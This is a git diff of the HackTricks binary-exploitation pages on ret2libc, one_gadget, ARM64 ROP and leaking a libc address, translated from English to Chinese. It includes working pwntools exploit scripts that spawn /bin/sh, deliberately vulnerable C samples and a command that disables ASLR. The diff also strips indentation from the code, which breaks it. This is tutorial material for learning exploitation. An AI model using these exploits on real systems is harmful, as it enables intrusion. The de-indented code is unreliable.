[**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 如果栈不可执行,这将无济于事,因为我们需要将 shellcode 放在栈中并跳转执行它。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些可能会使找到跳转到 esp 或其他寄存器的指令变得更加困难。 -## References +## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..467e195d1 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本信息** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +**Ret2Libc** 的本质是将易受攻击程序的执行流重定向到共享库中的一个函数(例如,**system**、**execve**、**strcpy**),而不是在栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改栈上的返回地址,使其指向所需的库函数,同时还安排任何必要的参数,以便根据调用约定正确设置。 -### **Example Steps (simplified)** +### **示例步骤(简化)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- 获取要调用的函数的地址(例如 system)和要调用的命令(例如 /bin/sh) +- 生成一个 ROP 链,以传递指向命令字符串的第一个参数,并将执行流传递给该函数 -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## 查找地址 +- 假设使用的 `libc` 是当前机器上的,可以使用以下命令找到它在内存中加载的位置: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +如果你想检查 ASLR 是否在改变 libc 的地址,你可以执行: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- 知道使用的libc后,也可以通过以下方式找到`system`函数的偏移: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- 知道使用的libc后,也可以找到字符串`/bin/sh`函数的偏移量: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### 使用 gdb-peda / GEF -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +知道使用的 libc 后,也可以使用 Peda 或 GEF 获取 **system** 函数、**exit** 函数和字符串 **`/bin/sh`** 的地址: ```bash p system p exit find "/bin/sh" ``` +### 使用 /proc/\/maps -### Using /proc/\/maps +如果进程在每次与其交互时(网络服务器)都在创建**子进程**,请尝试**读取**该文件(可能需要root权限)。 -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +在这里你可以找到**libc加载的确切位置**以及**每个子进程将要加载的位置**。 ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +在这种情况下,它加载在**0xb75dc000**(这将是libc的基地址) -## Unknown libc +## 未知的libc -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +可能你**不知道二进制文件加载的libc**(因为它可能位于你无法访问的服务器上)。在这种情况下,你可以利用漏洞**泄露一些地址并找出使用的libc**库: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +你可以在这里找到一个pwntools模板: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### 通过2个偏移量识别libc -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +查看页面 [https://libc.blukat.me/](https://libc.blukat.me/) 并使用**几个地址**的函数来找出**使用的版本**。 -## Bypassing ASLR in 32 bits +## 绕过32位的ASLR -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +这些暴力攻击**仅对32位系统有用**。 +- 如果利用是本地的,你可以尝试暴力破解libc的基地址(对32位系统有用): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- 如果攻击远程服务器,您可以尝试 **暴力破解 `libc` 函数 `usleep` 的地址**,传递参数 10(例如)。如果在某个时刻 **服务器响应多了 10 秒**,您就找到了这个函数的地址。 ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +通过跳转到 **一个** 特定的 **地址** 在 libc 中执行 shell: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## x86 Ret2lib 代码示例 +在这个示例中,ASLR 暴力破解集成在代码中,易受攻击的二进制文件位于远程服务器上: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib 代码示例 -## x64 Ret2lib Code Example - -Check the example from: +查看示例来自: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## ARM64 Ret2lib 示例 -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +在 ARM64 的情况下,ret 指令跳转到 x30 寄存器指向的位置,而不是栈寄存器指向的位置。因此,这要复杂一些。 -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +此外,在 ARM64 中,一条指令执行其本身的操作(不可能在指令中间跳转并将其转换为新的指令)。 -Check the example from: +查看示例来自: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (或 puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +这允许通过调用 `printf`/`puts` 并传入一些特定数据作为参数来**泄露进程中的信息**。例如,将 `puts` 在 GOT 中的地址放入 `puts` 的执行中将**泄露 `puts` 在内存中的地址**。 ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +这基本上意味着滥用 **Ret2lib 将其转变为 `printf` 格式字符串漏洞**,通过使用 `ret2lib` 调用 printf 并传入要利用的值(听起来没用但可能): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## 其他示例与参考 - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib,给定 libc 中一个函数的地址泄露,使用一个 gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后再创建一个 ROP gadget 调用 `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 位,启用 ASLR,没有 canary,主函数中的栈溢出来自子函数。ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后调用一个 gadget。 - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 位,没有 pie,没有 canary,没有 relro,nx。使用 write 函数泄露 write(libc)的地址并调用一个 gadget。 - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- 使用格式字符串从栈中泄露 canary,并通过缓冲区溢出调用 system(它在 GOT 中)并传入 `/bin/sh` 的地址。 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 位,没有 relro,没有 canary,nx,pie。滥用错误索引从栈中泄露 libc 和堆的地址。滥用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..73e22ee7f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,36 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) 允许获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**One Gadget** 将在 libc 库中找到一些方法来获取一个 shell (`execve("/bin/sh")`),只需一个 **地址**。\ +然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送一些额外的 NULL 值,以避免该限制。 ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +要使用 One Gadget 指定的地址,您需要 **添加 `libc` 加载的基地址**。 > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadget 是 **任意写入 2 执行技术** 的 **极大帮助**,并且可能 **简化 ROP** **链**,因为您只需调用一个地址(并满足要求)。 ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +github 仓库提到 **ARM64 受该工具支持**,但在 Kali 2023.3 的 libc 中运行时 **找不到任何 gadget**。 ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +来自 [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget):受 [OneGadget](https://github.com/david942j/one_gadget) 启发,该工具用 python 编写,并使用 [angr](https://github.com/angr/angr) 测试执行 `execve('/bin/sh', NULL, NULL)` 的 gadget 的约束\ +如果您已经用完了 OneGadget 的 gadget,Angry Gadget 提供了更多复杂约束的选择! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..7a7fa973d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - NX 绕过与 ROP (无 ASLR) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +在没有金丝雀的情况下编译: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### 查找偏移量 -### Find offset +### x30 偏移量 -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +创建一个模式 **`pattern create 200`**,使用它,并通过 **`pattern search $x30`** 检查偏移量,我们可以看到偏移量是 **`108`** (0x6c)。
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +查看反汇编的主函数,我们可以看到我们希望 **跳转** 到直接跳转到 **`printf`** 的指令,其从二进制文件加载的位置的偏移量是 **`0x860`**:
-### Find system and `/bin/sh` string +### 查找 system 和 `/bin/sh` 字符串 -As the ASLR is disabled, the addresses are going to be always the same: +由于 ASLR 被禁用,地址将始终相同:
-### Find Gadgets +### 查找 Gadgets -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +我们需要在 **`x0`** 中放入字符串 **`/bin/sh`** 的地址,并调用 **`system`**。 +使用 rooper 找到了一个有趣的 gadget: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +这个小工具将从 **`$sp + 0x18`** 加载 `x0`,然后从 sp 加载地址 x29 和 x30,并跳转到 x30。因此,通过这个小工具,我们可以 **控制第一个参数,然后跳转到 system**。 ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - NX, ASL & PIE 绕过与来自栈的 printf 泄漏 ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +编译 **不带 canary**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` +### PIE 和 ASLR 但没有 canary -### PIE and ASLR but no canary +- 第一轮: +- 从栈中泄露 PIE +- 利用 bof 返回到 main +- 第二轮: +- 从栈中泄露 libc +- ROP: ret2system -- Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main -- Round 2: - - Leak of libc from the stack - - ROP: ret2system +### Printf 泄露 -### Printf leaks - -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +在调用 printf 之前设置一个断点,可以看到栈中有返回到二进制的地址以及 libc 地址:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +尝试不同的偏移量,**`%21$p`** 可以泄露一个二进制地址(PIE 绕过),而 **`%25$p`** 可以泄露一个 libc 地址:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +将泄露的 libc 地址与 libc 的基地址相减,可以看到 **泄露地址与基地址的偏移量是 `0x49c40`。** -### x30 offset +### x30 偏移量 -See the previous example as the bof is the same. +参见前面的例子,因为 bof 是相同的。 -### Find Gadgets +### 查找 Gadgets -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +与前面的例子一样,我们需要在 **`x0`** 中有字符串 **`/bin/sh`** 的地址,并调用 **`system`**。 +使用 rooper 找到了另一个有趣的 gadget: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +这个小工具将从 **`$sp + 0x78`** 加载 `x0`,然后从 sp 加载地址 x29 和 x30,并跳转到 x30。因此,通过这个小工具,我们可以 **控制第一个参数,然后跳转到 system**。 ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..322a24f32 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# 使用 ROP 泄露 libc 地址 {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## 快速总结 -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **找到** 溢出 **偏移** +2. **找到** `POP_RDI` gadget, `PUTS_PLT` 和 `MAIN` gadgets +3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([donwload it](https://libc.blukat.me)) +4. 使用库,**计算 ROP 并利用它** -## Other tutorials and binaries to practice +## 其他教程和二进制文件以供练习 -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +本教程将利用本教程中提出的代码/二进制文件:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +另一个有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## 代码 +文件名: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +## ROP - 泄露 LIBC 模板 -## ROP - Leaking LIBC template - -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- 查找偏移量 +模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量,它将执行必要的代码来查找它(默认 `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**执行** `python template.py` 将打开一个 GDB 控制台,程序将崩溃。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后使用 **python** 控制台获取 **偏移量**: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +在找到偏移量(在这种情况下为 40)后,使用该值更改模板中的 OFFSET 变量。\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +另一种方法是使用: `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。 -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- 寻找 Gadgets +现在我们需要在二进制文件中找到 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT` 是调用 **function puts** 所需的。\ +`MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,以 **exploit** 溢出 **again**(无限轮次的利用)。**它在每个 ROP 的末尾用于再次调用程序**。\ +**POP_RDI** 是需要 **pass** 一个 **parameter** 给被调用的函数。 -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +在这一步中,你不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。 -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- 查找 libc 库 +现在是时候找出正在使用哪个版本的 **libc** 库了。为此,我们将 **leak** **function** `puts` 在内存中的 **address**,然后我们将 **search** 该地址中 puts 版本所在的 **library version**。 ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +要做到这一点,执行代码中最重要的一行是: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +这将发送一些字节,直到**覆盖****RIP**为止:`OFFSET`。\ +然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用 puts**,**传递**它`PUTS_GOT`的**地址**,因为 puts 函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\ +之后,将调用`PUTS_PLT`(在**RDI**中包含`PUTS_GOT`),因此 puts 将**读取**`PUTS_GOT`中的内容(**内存中 puts 函数的地址**)并将其**打印出来**。\ +最后,**再次调用主函数**,以便我们可以再次利用溢出。 -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +通过这种方式,我们已经**欺骗了 puts 函数**,使其**打印**出**内存**中函数**puts**的**地址**(该地址位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的 libc 版本**。 ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +由于我们正在**利用**某个**本地**二进制文件,因此**不需要**弄清楚正在使用哪个版本的**libc**(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到库)。\ +但是,在远程利用的情况下,我将在这里解释如何找到它: -### 3.1- Searching for libc version (1) +### 3.1- 搜索 libc 版本 (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\ +它还允许您下载发现的**libc**版本。 ![](<../../../../images/image (221).png>) -### 